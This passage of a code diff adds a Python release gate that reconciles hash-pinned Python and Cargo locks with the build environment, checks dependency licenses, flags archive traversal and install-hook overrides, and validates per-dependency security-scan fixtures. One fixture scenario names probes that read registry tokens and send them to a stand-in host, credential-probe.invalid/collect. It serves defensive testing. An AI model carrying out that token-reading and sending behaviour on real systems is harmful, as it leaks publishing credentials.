+        match = re.match(r"^([A-Za-z0-9._-]+)\s*==\s*([^\s;]+)", line)
+        if match is None:
+            raise GateError(LOCK_UNPINNED, f"lock line is not an exact pin: {line!r}")
+        name = normalize_project_name(match.group(1))
+        version = match.group(2)
+        hashes = frozenset(re.findall(r"--hash=sha256:([0-9a-f]{64})", line))
+        if not hashes:
+            raise GateError(
+                LOCK_UNPINNED, f"lock entry {name}=={version} carries no sha256 hash"
+            )
+        entries[(name, version)] = hashes
+    if not entries:
+        raise GateError(LOCK_UNPINNED, "python lock declares no pinned requirement")
+    return entries
+
+
+def parse_installed_environment(payload: Any) -> dict[tuple[str, str], Mapping[str, Any]]:
+    """Parse ``pip inspect`` output into ``(name, version) -> metadata``."""
+
+    if not isinstance(payload, Mapping) or not isinstance(payload.get("installed"), list):
+        raise GateError(
+            CAPTURE_INCOMPLETE, "environment capture must be a pip inspect object"
+        )
+    installed: dict[tuple[str, str], Mapping[str, Any]] = {}
+    for item in payload["installed"]:
+        metadata = item.get("metadata") if isinstance(item, Mapping) else None
+        if not isinstance(metadata, Mapping):
+            raise GateError(
+                CAPTURE_INCOMPLETE, "pip inspect entry carries no metadata object"
+            )
+        name = metadata.get("name")
+        version = metadata.get("version")
+        if not isinstance(name, str) or not isinstance(version, str):
+            raise GateError(
+                CAPTURE_INCOMPLETE, "pip inspect entry carries no name/version pair"
+            )
+        installed[(normalize_project_name(name), version)] = metadata
+    return installed
+
+
+def reconcile_python(
+    lock: Mapping[tuple[str, str], frozenset[str]],
+    installed: Mapping[tuple[str, str], Mapping[str, Any]],
+) -> list[Failure]:
+    """Fail when the hash-pinned lock and the build environment disagree."""
+
+    failures: list[Failure] = []
+    for entry in sorted(set(lock) - set(installed)):
+        failures.append(
+            Failure(
+                LOCK_ENV_MISMATCH,
+                f"pypi/{entry[0]}@{entry[1]}",
+                "locked requirement is absent from the build environment",
+            )
+        )
+    for entry in sorted(set(installed) - set(lock)):
+        failures.append(
+            Failure(
+                LOCK_ENV_MISMATCH,
+                f"pypi/{entry[0]}@{entry[1]}",
+                "installed distribution is absent from the hash-pinned lock",
+            )
+        )
+    return failures
+
+
+# ---------------------------------------------------------------------------
+# Cargo enumeration
+# ---------------------------------------------------------------------------
+
+
+def parse_cargo_lock(text: str) -> dict[tuple[str, str], str | None]:
+    """Parse ``Cargo.lock`` into ``(name, version) -> checksum or None``."""
+
+    try:
+        document = tomllib.loads(text)
+    except tomllib.TOMLDecodeError as error:
+        raise GateError(CAPTURE_INCOMPLETE, f"Cargo.lock is not valid TOML: {error}") from error
+    packages = document.get("package")
+    if not isinstance(packages, list) or not packages:
+        raise GateError(CAPTURE_INCOMPLETE, "Cargo.lock declares no packages")
+    entries: dict[tuple[str, str], str | None] = {}
+    for package in packages:
+        name = package.get("name")
+        version = package.get("version")
+        if not isinstance(name, str) or not isinstance(version, str):
+            raise GateError(CAPTURE_INCOMPLETE, "Cargo.lock package lacks name/version")
+        checksum = package.get("checksum")
+        entries[(name, version)] = checksum if isinstance(checksum, str) else None
+    return entries
+
+
+def _package_identity(package: Mapping[str, Any]) -> tuple[str, str]:
+    """Return the ``(name, version)`` identity of one ``cargo metadata`` package."""
+
+    name = package.get("name")
+    version = package.get("version")
+    if not isinstance(name, str) or not isinstance(version, str):
+        raise GateError(CAPTURE_INCOMPLETE, "cargo metadata package lacks name/version")
+    return name, version
+
+
+def resolve_cargo_graph(metadata: Any) -> dict[tuple[str, str], Mapping[str, Any]]:
+    """Resolve the full build graph, including build- and target-specific deps."""
+
+    if not isinstance(metadata, Mapping):
+        raise GateError(CAPTURE_INCOMPLETE, "cargo metadata capture must be an object")
+    packages = metadata.get("packages")
+    resolve = metadata.get("resolve")
+    if not isinstance(packages, list) or not isinstance(resolve, Mapping):
+        raise GateError(CAPTURE_INCOMPLETE, "cargo metadata lacks packages/resolve")
+    by_id: dict[str, Mapping[str, Any]] = {}
+    for package in packages:
+        if not isinstance(package, Mapping) or not isinstance(package.get("id"), str):
+            raise GateError(CAPTURE_INCOMPLETE, "cargo metadata package lacks an id")
+        by_id[package["id"]] = package
+    nodes = resolve.get("nodes")
+    root = resolve.get("root")
+    if not isinstance(nodes, list) or not isinstance(root, str):
+        raise GateError(CAPTURE_INCOMPLETE, "cargo metadata resolve lacks nodes/root")
+    edges: dict[str, list[str]] = {}
+    for node in nodes:
+        if not isinstance(node, Mapping) or not isinstance(node.get("id"), str):
+            raise GateError(CAPTURE_INCOMPLETE, "cargo metadata resolve node lacks an id")
+        targets: list[str] = []
+        for dependency in node.get("deps", []):
+            package_id = dependency.get("pkg") if isinstance(dependency, Mapping) else None
+            if not isinstance(package_id, str):
+                raise GateError(CAPTURE_INCOMPLETE, "cargo resolve dep lacks a pkg id")
+            # Every dep_kind is in scope: normal, build, dev-for-build, and
+            # every cfg()-gated target. A build-dependency ships nothing but it
+            # executes on the release runner, so it is gated like any other.
+            targets.append(package_id)
+        edges[node["id"]] = targets
+    if root not in edges:
+        raise GateError(CAPTURE_INCOMPLETE, "cargo metadata resolve root is not a node")
+
+    reachable: dict[tuple[str, str], Mapping[str, Any]] = {}
+    seen: set[str] = set()
+    queue = [root]
+    while queue:
+        current = queue.pop()
+        if current in seen:
+            continue
+        seen.add(current)
+        package = by_id.get(current)
+        if package is None:
+            raise GateError(
+                CAPTURE_INCOMPLETE, f"cargo resolve names an unknown package id: {current}"
+            )
+        if current != root:
+            reachable[_package_identity(package)] = package
+        queue.extend(edges.get(current, []))
+    return reachable
+
+
+def reconcile_cargo(
+    lock: Mapping[tuple[str, str], str | None],
+    graph: Mapping[tuple[str, str], Mapping[str, Any]],
+    root_identity: tuple[str, str],
+) -> list[Failure]:
+    """Fail when ``Cargo.lock`` and the resolved build graph disagree."""
+
+    failures: list[Failure] = []
+    locked = set(lock) - {root_identity}
+    for entry in sorted(locked - set(graph)):
+        failures.append(
+            Failure(
+                CARGO_LOCK_GRAPH_MISMATCH,
+                f"cargo/{entry[0]}@{entry[1]}",
+                "Cargo.lock entry is absent from the resolved build graph",
+            )
+        )
+    for entry in sorted(set(graph) - locked):
+        failures.append(
+            Failure(
+                CARGO_LOCK_GRAPH_MISMATCH,
+                f"cargo/{entry[0]}@{entry[1]}",
+                "resolved build-graph package is absent from Cargo.lock",
+            )
+        )
+    for entry in sorted(set(graph) & locked):
+        if lock[entry] is None:
+            failures.append(
+                Failure(
+                    CARGO_CHECKSUM_MISSING,
+                    f"cargo/{entry[0]}@{entry[1]}",
+                    "registry dependency has no Cargo.lock checksum",
+                )
+            )
+    return failures
+
+
+# ---------------------------------------------------------------------------
+# Deterministic per-dependency detectors
+# ---------------------------------------------------------------------------
+
+
+def detect_archive_escape(members: Sequence[Mapping[str, Any]]) -> list[str]:
+    """Return archive members that escape the extraction root."""
+
+    findings: list[str] = []
+    for member in members:
+        name = member.get("name")
+        if not isinstance(name, str) or not name:
+            findings.append("archive member has no name")
+            continue
+        if name.startswith("/") or (len(name) > 1 and name[1] == ":"):
+            findings.append(f"absolute archive member: {name}")
+            continue
+        if ".." in Path(name).parts:
+            findings.append(f"traversal archive member: {name}")
+            continue
+        link = member.get("linkname")
+        if member.get("type") in {"symlink", "hardlink"} and isinstance(link, str):
+            if link.startswith("/") or ".." in Path(link).parts:
+                findings.append(f"escaping link {name} -> {link}")
+    return findings
+
+
+def detect_install_hooks(sources: Mapping[str, str]) -> list[str]:
+    """Return untrusted install/build hook behaviour found in captured sources."""
+
+    findings: list[str] = []
+    for path in sorted(sources):
+        text = sources[path]
+        if "cmdclass" in text:
+            for command in _CMDCLASS_COMMANDS:
+                if f'"{command}"' in text or f"'{command}'" in text:
+                    findings.append(f"{path} overrides the {command} command via cmdclass")
+        for pattern, reason in _HOOK_PATTERNS:
+            if pattern in text:
+                findings.append(f"{path} {reason} ({pattern})")
+    return findings
+
+
+def classify_soname(soname: str) -> tuple[str, str] | None:
+    """Return the allowlisted SPDX id and rationale for a platform runtime soname."""
+
+    allowlisted = SYSTEM_RUNTIME_SONAMES.get(soname)
+    if allowlisted is not None:
+        return allowlisted
+    if _LIBPYTHON_RE.match(soname):
+        return ("PSF-2.0", "CPython runtime supplied by the interpreter")
+    return None
+
+
+def evaluate_native_links(
+    evidence: Mapping[str, Any], subject: str
+) -> tuple[list[Failure], list[dict[str, str]]]:
+    """Evaluate dynamic and static linking targets of shipped native libraries."""
+
+    failures: list[Failure] = []
+    properties: list[dict[str, str]] = []
+    declared = _require_mapping(evidence, "bundled_library_licenses", subject)
+    for library in _require_list(evidence, "native_libraries", subject):
+        if not isinstance(library, Mapping):
+            raise GateError(
+                EVIDENCE_INCOMPLETE, f"{subject}: native_libraries entry must be an object"
+            )
+        origin = str(library.get("path", "<unknown>"))
+        for soname in _require_list(library, "needed", subject):
+            allowlisted = classify_soname(str(soname))
+            if allowlisted is not None:
+                properties.append(
+                    {
+                        "name": "cwl:native:system-runtime",
+                        "value": f"{soname}={allowlisted[0]}; {allowlisted[1]}",
+                    }
+                )
+                continue
+            decision = evaluate_license_expression(declared.get(str(soname)))
+            if decision.allowed:
+                properties.append(
+                    {
+                        "name": "cwl:native:dynamic",
+                        "value": f"{soname}={decision.selected}",
+                    }
+                )
+                continue
+            failures.append(
+                Failure(
+                    NATIVE_LINK_UNKNOWN if decision.code == LICENSE_MISSING else NATIVE_LINK_DENIED,
+                    subject,
+                    f"{origin} dynamically links {soname}: {decision.detail}",
+                )
+            )
+        for archive in _require_list(library, "static_archives", subject):
+            if not isinstance(archive, Mapping):
+                raise GateError(
+                    EVIDENCE_INCOMPLETE, f"{subject}: static_archives entry must be an object"
+                )
+            archive_name = str(archive.get("name", "<unknown>"))
+            decision = evaluate_license_expression(archive.get("license"))
+            if decision.allowed:
+                properties.append(
+                    {
+                        "name": "cwl:native:static",
+                        "value": f"{archive_name}={decision.selected}",
+                    }
+                )
+                continue
+            failures.append(
+                Failure(
+                    NATIVE_LINK_UNKNOWN if decision.code == LICENSE_MISSING else NATIVE_LINK_DENIED,
+                    subject,
+                    f"{origin} statically links {archive_name}: {decision.detail}",
+                )
+            )
+    return failures, properties
+
+
+def declared_license_expression(evidence: Mapping[str, Any]) -> tuple[str | None, str]:
+    """Return the declared SPDX expression and the source it was taken from."""
+
+    expression = evidence.get("license_expression")
+    if isinstance(expression, str) and expression.strip():
+        return expression.strip(), "License-Expression"
+    legacy = evidence.get("license")
+    if isinstance(legacy, str) and legacy.strip():
+        return legacy.strip(), "License"
+    classifiers = evidence.get("classifiers", [])
+    if isinstance(classifiers, list):
+        derived = spdx_from_classifiers([str(item) for item in classifiers])
+        if derived is not None:
+            return derived, "classifier"
+    return None, "none"
+
+
+def _declared_identifiers(expression: str) -> frozenset[str]:
+    """Return the bare SPDX identifiers a declared expression names.
+
+    Only identifiers are compared, so operators, parentheses and ``WITH``
+    exceptions cannot make an unrelated text read as consistent.
+    """
+
+    tokens = re.split(r"[()\s]+", expression.replace("+", ""))
+    reserved = {"AND", "OR", "WITH", ""}
+    return frozenset(token for token in tokens if token.upper() not in reserved)
+
+
+def evaluate_dependency_license(
+    evidence: Mapping[str, Any],
+    subject: str,
+    selection: Mapping[str, str] | None,
+) -> tuple[list[Failure], LicenseDecision, str]:
+    """Decide one dependency's license from metadata and bundled license text."""
+
+    expression, source = declared_license_expression(evidence)
+    decision = evaluate_license_expression(
+        expression,
+        selection=(selection or {}).get("chosen"),
+        rationale=(selection or {}).get("rationale"),
+    )
+    failures: list[Failure] = []
+    if not decision.allowed:
+        failures.append(Failure(decision.code, subject, decision.detail))
+    texts = _require_mapping(evidence, "license_texts", subject)
+    if decision.allowed and not texts:
+        # A permissive declaration is a claim by the publisher, not evidence. With no
+        # bundled text there is nothing to check it against, so the release cannot be
+        # cleared on the claim alone.
+        failures.append(
+            Failure(
+                LICENSE_TEXT_MISSING,
+                subject,
+                f"declared {expression} but the distribution bundles no license text",
+            )
+        )
+    for filename in sorted(texts):
+        recognized = recognize_license_text(str(texts[filename]))
+        code = scan_license_text(str(texts[filename]))
+        if code is None and decision.allowed:
+            if recognized is None:
+                # Neither a denied title nor any recognizable license: an `UNKNOWN`
+                # body, a commercial-redistribution restriction, or arbitrary prose
+                # all land here and must fail rather than pass by default.
+                failures.append(
+                    Failure(
+                        LICENSE_TEXT_UNVERIFIED,
+                        subject,
+                        f"bundled {filename} matches no recognized license text",
+                    )
+                )
+            elif not (recognized & _declared_identifiers(expression)):
+                failures.append(
+                    Failure(
+                        LICENSE_TEXT_DISAGREEMENT,
+                        subject,
+                        f"declared {expression} but bundled {filename} is "
+                        f"{'/'.join(sorted(recognized))} text",
+                    )
+                )
+        if code is None:
+            continue
+        if decision.allowed:
+            failures.append(
+                Failure(
+                    LICENSE_TEXT_DISAGREEMENT,
+                    subject,
+                    f"declared {expression} but bundled {filename} is {code}",
+                )
+            )
+        else:
+            failures.append(
+                Failure(
+                    LICENSE_DENIED_IN_BUNDLED_TEXT,
+                    subject,
+                    f"bundled {filename} contains {code} license text",
+                )
+            )
+    return failures, decision, source
+
+
+# ---------------------------------------------------------------------------
+# Synthetic Strix fixtures and structured binding validation
+# ---------------------------------------------------------------------------
+
+
+def canonical_json(value: Any) -> bytes:
+    """Serialize a value to canonical, deterministic JSON bytes."""
+
+    return json.dumps(value, sort_keys=True, separators=(",", ":")).encode("utf-8")
+
+
+def build_fixture(dependency: Dependency, evidence: Mapping[str, Any]) -> dict[str, Any]:
+    """Build the isolated synthetic Strix fixture for exactly one dependency."""
+
+    members = [
+        str(member.get("name", ""))
+        for member in _require_list(evidence, "archive_members", dependency.key)
+        if isinstance(member, Mapping)
+    ]
+    sources = _require_mapping(evidence, "install_hook_sources", dependency.key)
+    libraries = [
+        str(library.get("path", ""))
+        for library in _require_list(evidence, "native_libraries", dependency.key)
+        if isinstance(library, Mapping)
+    ]
+    advisories = [
+        str(item.get("id", ""))
+        for item in _require_list(evidence, "known_vulnerabilities", dependency.key)
+        if isinstance(item, Mapping)
+    ]
+    return {
+        "schema": FIXTURE_SCHEMA,
+        "dependency": {
+            "ecosystem": dependency.ecosystem,
+            "name": dependency.name,
+            "version": dependency.version,
+            "source_sha256": str(evidence.get("source_sha256", "")),
+        },
+        "scenarios": {
+            "archive_traversal": {"members": sorted(members)},
+            "credential_network": {
+                "probes": [
+                    "env:CARGO_REGISTRY_TOKEN",
+                    "env:PYPI_API_TOKEN",
+                    "net:https://credential-probe.invalid/collect",
+                ]
+            },
+            "file_parsing": {
+                "inputs": sorted(
+                    str(item) for item in _require_list(evidence, "parsed_inputs", dependency.key)
+                )
+            },
+            "install_hooks": {"sources": sorted(sources)},
+            "known_vulnerability_surface": {"advisories": sorted(advisories)},
+            "native_library_loading": {"libraries": sorted(libraries)},
+        },
+    }
+
+
+def fixture_digest(fixture: Mapping[str, Any]) -> str:
+    """Return the deterministic sha256 of one synthetic fixture document."""
+
+    return hashlib.sha256(canonical_json(fixture)).hexdigest()
+
+
+def validate_strix_binding(
+    path: Path,
+    dependency: Dependency,
+    evidence: Mapping[str, Any],
+    digest: str,
+    source_sha: str,
+) -> list[Failure]:
+    """Require a well-formed machine-readable Strix binding; text never passes."""
+
+    subject = dependency.key
+    if path.is_symlink() or not path.is_file():
+        return [
+            Failure(
+                STRIX_BINDING_MISSING,
+                subject,
+                f"no structured Strix binding at {path.name}; a missing binding is a failure",
+            )
+        ]
+    try:
+        payload = json.loads(path.read_text(encoding="utf-8"))
+    except (UnicodeDecodeError, json.JSONDecodeError):
+        return [
+            Failure(
+                STRIX_TEXTUAL_PASS_REJECTED,
+                subject,
+                "Strix evidence is free text; a textual '0 findings' is never a pass",
+            )
+        ]
+    if not isinstance(payload, Mapping):
+        return [
+            Failure(
+                STRIX_TEXTUAL_PASS_REJECTED,
+                subject,
+                "Strix evidence is not a binding object; prose is never a pass",
+            )
+        ]
+    if payload.get("schema") != BINDING_SCHEMA:
+        code = (
+            STRIX_TEXTUAL_PASS_REJECTED
+            if {"summary", "report", "report_text", "conclusion"} & set(payload)
+            else STRIX_BINDING_MALFORMED
+        )
+        return [
+            Failure(
+                code,
+                subject,
+                f"Strix evidence does not declare the {BINDING_SCHEMA} contract",
+            )
+        ]
+
+    failures: list[Failure] = []
+    bound = payload.get("dependency")
+    expected = {
+        "ecosystem": dependency.ecosystem,
+        "name": dependency.name,
+        "version": dependency.version,
+        "source_sha256": str(evidence.get("source_sha256", "")),
+    }
+    if not isinstance(bound, Mapping) or dict(bound) != expected:
+        failures.append(
+            Failure(
+                STRIX_BINDING_UNBOUND,
+                subject,
+                "binding does not name exactly this dependency name/version/source hash",
+            )
+        )
+    fixture = payload.get("fixture")
+    if not isinstance(fixture, Mapping):
+        failures.append(
+            Failure(STRIX_BINDING_MALFORMED, subject, "binding carries no fixture object")
+        )
+    else:
+        if fixture.get("id") != dependency.key or fixture.get("sha256") != digest:
+            failures.append(
+                Failure(
+                    STRIX_BINDING_UNBOUND,
+                    subject,
+                    "binding does not name the isolated fixture generated for this dependency",
+                )
+            )
+        scenarios = fixture.get("scenarios")
+        if not isinstance(scenarios, list) or sorted(
+            str(item) for item in scenarios
+        ) != list(REQUIRED_SCENARIOS):
+            failures.append(
+                Failure(
+                    STRIX_BINDING_MALFORMED,
+                    subject,
+                    f"binding must cover exactly {list(REQUIRED_SCENARIOS)}",
+                )
+            )
+    if payload.get("source_sha") != source_sha:
+        failures.append(
+            Failure(
+                STRIX_BINDING_UNBOUND,
+                subject,
+                "binding is not bound to the release head SHA",
+            )
+        )
+    findings = payload.get("findings")
+    verdict = payload.get("verdict")
+    if not isinstance(findings, list) or verdict not in BINDING_VERDICTS:
+        failures.append(
+            Failure(
+                STRIX_BINDING_MALFORMED,
+                subject,
+                "binding must carry a findings array and an enumerated verdict",
+            )
+        )
+    elif findings or verdict == "findings_present":
+        failures.append(
+            Failure(
+                STRIX_FINDINGS_OPEN,
+                subject,
+                f"Strix reported {len(findings)} structured finding(s) against the fixture",
+            )
+        )
+    return failures
+
+
+# ---------------------------------------------------------------------------
+# Raw-capture assembly
+# ---------------------------------------------------------------------------
+#
+# ``scripts/ci/release_dependency_capture_raw.sh`` runs the tools that need a
+# runner (``pip inspect``, ``cargo metadata --locked``, archive listing,
+# ``readelf -d``) and writes their output verbatim under ``raw/<dir>/``. This
+# assembler is the tested transformation from that raw output into the capture
+# contract the gate reads, so no untested shell decides what evidence says.
+
+
+def _read_text_files(directory: Path) -> dict[str, str]:
+    """Read every regular file in one raw capture directory, keyed by filename."""
+
+    if directory.is_symlink() or not directory.is_dir():
+        return {}
+    contents: dict[str, str] = {}
+    for child in sorted(directory.iterdir()):
+        if child.is_symlink() or not child.is_file():
+            raise GateError(
+                CAPTURE_INCOMPLETE, f"raw capture member is not a regular file: {child}"
+            )
+        contents[child.name] = child.read_text(encoding="utf-8", errors="replace")
+    return contents
+
+
+def read_archive_snapshot(path: Path) -> bytes:
+    """Read one bounded regular archive once; reject a final symlink/race."""
+    limit = 256 * 1024 * 1024
+    try:
+        descriptor = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
+        with os.fdopen(descriptor, "rb") as stream:
+            if not stat.S_ISREG(os.fstat(stream.fileno()).st_mode):
+                raise GateError(CAPTURE_INCOMPLETE, "archive is not a regular file")
+            raw = stream.read(limit + 1)
+    except OSError as error:
+        raise GateError(CAPTURE_INCOMPLETE, "captured archive is missing or unreadable") from error
+    if len(raw) > limit:
+        raise GateError(CAPTURE_INCOMPLETE, "archive exceeds the bounded read")
+    return raw
+
+
+def archive_license_evidence(raw: bytes, ecosystem: str) -> dict[str, Any]:
+    """Hash and read all license members from the same immutable byte snapshot.
+
+    No extraction or dependency code execution occurs. Repeated/path-ambiguous
+    members and archive links are refused before any member is trusted. Custom
+    declared license-file paths are included, not just conventional basenames.
+    """
+    texts: dict[str, str] = {}
+    hashes: dict[str, str] = {}
+    members: list[dict[str, str]] = []
+    try:
+        archive = zipfile.ZipFile(io.BytesIO(raw)) if ecosystem == "pypi" else tarfile.open(fileobj=io.BytesIO(raw), mode="r:*")
+        with archive:
+            entries = archive.infolist() if ecosystem == "pypi" else archive.getmembers()
+            if len(entries) > 10000:
+                raise GateError(CAPTURE_INCOMPLETE, "archive has too many members")
+            files: dict[str, Any] = {}
+            seen: set[str] = set()
+            for entry in entries:
+                name = entry.filename if ecosystem == "pypi" else entry.name
+                path = PurePosixPath(name)
+                canonical = str(path)
+                if (not name or "\\" in name or "\x00" in name or path.is_absolute()
+                        or ".." in path.parts or canonical in seen):
+                    raise GateError(ARCHIVE_PATH_ESCAPE, "duplicate or unsafe archive member")
+                seen.add(canonical)
+                directory = entry.is_dir() if ecosystem == "pypi" else entry.isdir()
+                link = stat.S_ISLNK(entry.external_attr >> 16) if ecosystem == "pypi" else not (entry.isfile() or entry.isdir())
+                if link:
+                    raise GateError(ARCHIVE_PATH_ESCAPE, "archive links/special members are unsupported")
+                members.append({"type": "directory" if directory else "file", "name": name, "linkname": ""})
+                if not directory:
+                    files[canonical] = entry
+
+            def read_member(name: str) -> bytes:
+                """Read a bounded member from this already-open snapshot."""
+                entry = files.get(name)
+                if entry is None:
+                    raise GateError(CAPTURE_INCOMPLETE, "declared license member is absent")
+                size = entry.file_size if ecosystem == "pypi" else entry.size
+                if size > _MAX_METADATA_BYTES:
+                    raise GateError(CAPTURE_INCOMPLETE, "archive text member is oversized")
+                handle = archive.open(entry) if ecosystem == "pypi" else archive.extractfile(entry)
+                with handle:
+                    data = handle.read(_MAX_METADATA_BYTES + 1)
+                if len(data) > _MAX_METADATA_BYTES:
+                    raise GateError(CAPTURE_INCOMPLETE, "archive text exceeds bounded read")
+                return data
+
+            selected = {name for name in files if PurePosixPath(name).name.upper().startswith(
+                ("LICENSE", "LICENCE", "COPYING", "NOTICE", "UNLICENSE"))}
+            if ecosystem == "pypi":
+                metadata_paths = [name for name in files if name.endswith(".dist-info/METADATA")]
+                for metadata_path in metadata_paths:
+                    message = email.parser.BytesParser().parsebytes(read_member(metadata_path))
+                    parent = PurePosixPath(metadata_path).parent
+                    for declared in message.get_all("License-File", []):
+                        declaration = PurePosixPath(declared)
+                        if declaration.is_absolute() or ".." in declaration.parts or "\\" in declared:
+                            raise GateError(ARCHIVE_PATH_ESCAPE, "unsafe declared license path")
+                        candidates = {str(parent / declaration), str(parent / "licenses" / declaration)} & files.keys()
+                        if not candidates:
+                            raise GateError(CAPTURE_INCOMPLETE, "declared license member is absent")
+                        selected.update(candidates)
+            else:
+                for manifest in (name for name in files if name.count("/") == 1 and name.endswith("/Cargo.toml")):
+                    package = tomllib.loads(read_member(manifest).decode("utf-8")).get("package", {})
+                    declared = package.get("license-file")
+                    if declared:
+                        declaration = PurePosixPath(declared)
+                        if declaration.is_absolute() or ".." in declaration.parts or "\\" in declared:
+                            raise GateError(ARCHIVE_PATH_ESCAPE, "unsafe declared license path")
+                        selected.add(str(PurePosixPath(manifest).parent / declaration))
+            total = 0
+            for name in sorted(selected):
+                data = read_member(name)
+                total += len(data)
+                if total > _MAX_JSON_BYTES:
+                    raise GateError(CAPTURE_INCOMPLETE, "license text set exceeds bounded read")
+                texts[name] = data.decode("utf-8")
+                hashes[name] = hashlib.sha256(data).hexdigest()
+    except GateError:
+        raise
+    except (OSError, ValueError, TypeError, AttributeError, KeyError, zipfile.BadZipFile, tarfile.TarError, UnicodeError) as error:
+        raise GateError(CAPTURE_INCOMPLETE, "archive or license text cannot be decoded") from error
+    return {"source_sha256": hashlib.sha256(raw).hexdigest(), "license_texts": texts,
+            "license_member_sha256": hashes, "archive_members": members}
+
+
+def _optional_text(path: Path) -> str | None:
+    """Return one optional raw capture file's text, or ``None`` when absent."""
+
+    if path.is_symlink() or not path.is_file():
+        return None
+    return path.read_text(encoding="utf-8")
+
+
+def parse_member_listing(text: str) -> list[dict[str, str]]:
+    """Parse the tab-separated ``<type>\t<name>\t<linkname>`` archive listing."""
+
+    members: list[dict[str, str]] = []
+    for line in text.splitlines():
+        if not line.strip():
+            continue
+        parts = line.split("\t")
+        if len(parts) < 2:
+            raise GateError(
+                CAPTURE_INCOMPLETE, f"archive listing line is malformed: {line!r}"
+            )
+        members.append(
+            {
+                "type": parts[0].strip(),
+                "name": parts[1],
+                "linkname": parts[2] if len(parts) > 2 else "",
+            }
+        )
+    return members
+
+
+def build_evidence(raw_dir: Path, *, archive_bytes: bytes | None = None) -> tuple[Dependency, dict[str, Any]]:
+    """Assemble one dependency's capture evidence from its raw capture directory."""
+
+    metadata = load_json(raw_dir / "metadata.json")
+    if not isinstance(metadata, Mapping):
+        raise GateError(CAPTURE_INCOMPLETE, f"{raw_dir.name}: metadata.json must be an object")
+    ecosystem = str(metadata.get("ecosystem", ""))
+    name = str(metadata.get("name", ""))
+    version = str(metadata.get("version", ""))
+    if ecosystem not in {"pypi", "cargo"} or not name or not version:
+        raise GateError(
+            CAPTURE_INCOMPLETE,
+            f"{raw_dir.name}: metadata must declare ecosystem pypi/cargo, name, and version",
+        )
+    if ecosystem == "pypi":
+        name = normalize_project_name(name)
+    raw_hash = _optional_text(raw_dir / "source.sha256")
+    source_sha256 = raw_hash.split()[0].strip().lower() if raw_hash and raw_hash.split() else ""
+    snapshot = read_archive_snapshot(raw_dir / "source.archive") if archive_bytes is None else archive_bytes
+    bound = archive_license_evidence(snapshot, ecosystem)
+    if source_sha256 != bound["source_sha256"]:
+        raise GateError(SOURCE_HASH_MISMATCH, "raw archive does not match recorded source hash")
+    parsed_text = _optional_text(raw_dir / "parsed_inputs.txt")
+    native_path = raw_dir / "native.json"
+    bundled_path = raw_dir / "bundled_library_licenses.json"
+    evidence: dict[str, Any] = {
+        "ecosystem": ecosystem,
+        "name": name,
+        "version": version,
+        "source_sha256": source_sha256,
+        "license_expression": metadata.get("license_expression"),
+        "license": metadata.get("license"),
+        "classifiers": list(metadata.get("classifiers", [])),
+        "distribution_inclusion": list(metadata.get("distribution_inclusion", [])),
+        "known_vulnerabilities": list(metadata.get("known_vulnerabilities", [])),
+        "license_texts": bound["license_texts"],
+        "license_member_sha256": bound["license_member_sha256"],
+        "install_hook_sources": _read_text_files(raw_dir / "hooks"),
+        "archive_members": bound["archive_members"],
+        "parsed_inputs": [line for line in (parsed_text or "").splitlines() if line.strip()],
+        "native_libraries": load_json(native_path) if native_path.is_file() else [],
+        "bundled_library_licenses": load_json(bundled_path) if bundled_path.is_file() else {},
+    }
+    return Dependency(ecosystem, name, version), evidence
+
+
+def capture(raw_root: Path, capture_root: Path) -> list[str]:
+    """Write per-dependency evidence and isolated synthetic fixtures from raw output."""
+
+    raw_root = Path(raw_root)
+    if raw_root.is_symlink() or not raw_root.is_dir():
+        raise GateError(CAPTURE_INCOMPLETE, f"raw capture root is missing: {raw_root}")
+    evidence_dir = capture_root / "evidence"
+    fixture_dir = capture_root / "strix" / "fixtures"
+    evidence_dir.mkdir(parents=True, exist_ok=True)
+    fixture_dir.mkdir(parents=True, exist_ok=True)
+    archive_dir = capture_root / "archives"
+    archive_dir.mkdir(parents=True, exist_ok=True)
+    if archive_dir.is_symlink():
+        raise GateError(CAPTURE_INCOMPLETE, "archive destination must not be a symlink")
+    written: list[str] = []
+    for child in sorted(raw_root.iterdir()):
+        if child.is_symlink() or not child.is_dir():
+            raise GateError(CAPTURE_INCOMPLETE, f"raw capture entry is not a directory: {child}")
+        snapshot = read_archive_snapshot(child / "source.archive")
+        dependency, evidence = build_evidence(child, archive_bytes=snapshot)
+        destination = archive_dir / f"{dependency.slug}.archive"
+        if destination.is_symlink():
+            raise GateError(CAPTURE_INCOMPLETE, "archive destination must not be a symlink")
+        destination.write_bytes(snapshot)
+        (evidence_dir / f"{dependency.slug}.json").write_text(
+            json.dumps(evidence, indent=2, sort_keys=True) + "\n", encoding="utf-8"
+        )
+        fixture = build_fixture(dependency, evidence)
+        (fixture_dir / f"{dependency.slug}.json").write_text(
+            json.dumps(fixture, indent=2, sort_keys=True) + "\n", encoding="utf-8"
+        )
+        # The canonical digest is published beside the fixture so the Strix step
+        # binds the exact document the gate will recompute, not the pretty-printed
+        # bytes it happens to read from disk.
+        (fixture_dir / f"{dependency.slug}.sha256").write_text(
+            fixture_digest(fixture) + "\n", encoding="utf-8"
+        )
+        written.append(dependency.key)
+    if not written:
+        raise GateError(CAPTURE_INCOMPLETE, "raw capture root contains no dependency directory")
+    return written
+
+
+# ---------------------------------------------------------------------------
+# Gate
+# ---------------------------------------------------------------------------
+
+
+def _load_selections(capture: Path) -> dict[str, Mapping[str, str]]:
+    """Load optional dual-license selections, keyed by dependency identity."""
+
+    path = capture / "license-selections.json"
+    if not path.exists():
+        return {}
+    payload = load_json(path)
+    if not isinstance(payload, list):
+        raise GateError(CAPTURE_INCOMPLETE, "license-selections.json must be a JSON array")
+    selections: dict[str, Mapping[str, str]] = {}
+    for item in payload:
+        if not isinstance(item, Mapping):
+            raise GateError(CAPTURE_INCOMPLETE, "license selection entry must be an object")
+        required = {"ecosystem", "name", "version", "chosen", "rationale"}
+        if not required.issubset(item):
+            raise GateError(
+                CAPTURE_INCOMPLETE,
+                f"license selection must declare {sorted(required)}",
+            )
+        key = f"{item['ecosystem']}/{item['name']}@{item['version']}"
+        selections[key] = {"chosen": str(item["chosen"]), "rationale": str(item["rationale"])}
+    return selections
+
+
+def _enumerate_python(capture: Path) -> tuple[list[Dependency], list[Failure], set[str]]:
+    """Enumerate Python dependencies, returning the lock's full expected key set."""
+
+    lock = parse_python_lock(
+        _require_regular_file(capture / "python" / "lock.txt", CAPTURE_INCOMPLETE).read_text(
+            encoding="utf-8"
+        )
+    )
+    installed = parse_installed_environment(load_json(capture / "python" / "installed.json"))
+    failures = reconcile_python(lock, installed)
+    dependencies = [
+        Dependency("pypi", name, version, lock[(name, version)])
